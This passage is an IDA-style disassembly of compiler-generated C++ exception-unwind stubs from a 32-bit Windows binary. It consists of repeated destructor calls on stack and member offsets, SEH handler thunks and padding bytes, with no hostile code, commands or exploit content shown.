; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================



SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================



SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================



SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_414090	proc near		; DATA XREF: sub_414090+2o
		mov	eax, offset dword_4401F0
		jmp	sub_4367C8
SEH_414090	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BF8:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C10:				; DATA XREF: ___:00414122o
		mov	eax, offset dword_440230
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C38:				; DATA XREF: ___:004402A4o
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_414230	proc near		; DATA XREF: sub_414230+2o
		mov	eax, offset dword_440278
		jmp	sub_4367C8
SEH_414230	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C88:				; DATA XREF: ___:004402F4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_414360	proc near		; DATA XREF: sub_414360+2o
		mov	eax, offset dword_4402C8
		jmp	sub_4367C8
SEH_414360	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CC8:				; DATA XREF: ___:0044033Co
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CD8:				; DATA XREF: ___:00414402o
		mov	eax, offset dword_440310
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4144D0	proc near		; DATA XREF: sub_4144D0+2o
		mov	eax, offset dword_440350
		jmp	sub_4367C8
SEH_4144D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D18:				; DATA XREF: ___:004403ACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D20:				; DATA XREF: ___:00414692o
		mov	eax, offset dword_440380
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D38:				; DATA XREF: ___:004403E4o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4147D0	proc near		; DATA XREF: sub_4147D0+2o
		mov	eax, offset dword_4403B8
		jmp	sub_4367C8
SEH_4147D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D5B:				; DATA XREF: ___:0044041Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_4149D0	proc near		; DATA XREF: sub_4149D0+2o
		mov	eax, offset dword_4403F0
		jmp	sub_4367C8
SEH_4149D0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D98:				; DATA XREF: ___:00414A62o
		mov	eax, offset dword_440430
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DB8:				; DATA XREF: ___:00414AF2o
		mov	eax, offset dword_440460
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DD8:				; DATA XREF: ___:004404BCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_414CA0	proc near		; DATA XREF: sub_414CA0+2o
		mov	eax, offset dword_440490
		jmp	sub_4367C8
SEH_414CA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================



SEH_414D40	proc near		; DATA XREF: sub_414D40+8o
		mov	eax, offset dword_4404D8
		jmp	sub_4367C8
SEH_414D40	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_439E78:				; DATA XREF: ___:00440564o
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FE1:				; DATA XREF: ___:00416992o
		mov	eax, offset dword_440538
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43A058:				; DATA XREF: ___:00440674o
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A1C1:				; DATA XREF: ___:00416D32o
		mov	eax, offset dword_440648
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================



SEH_416FB0	proc near		; DATA XREF: sub_416FB0+2o
		mov	eax, offset dword_440758
		jmp	sub_4367C8
SEH_416FB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_43A25B:				; DATA XREF: ___:004407B4o
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
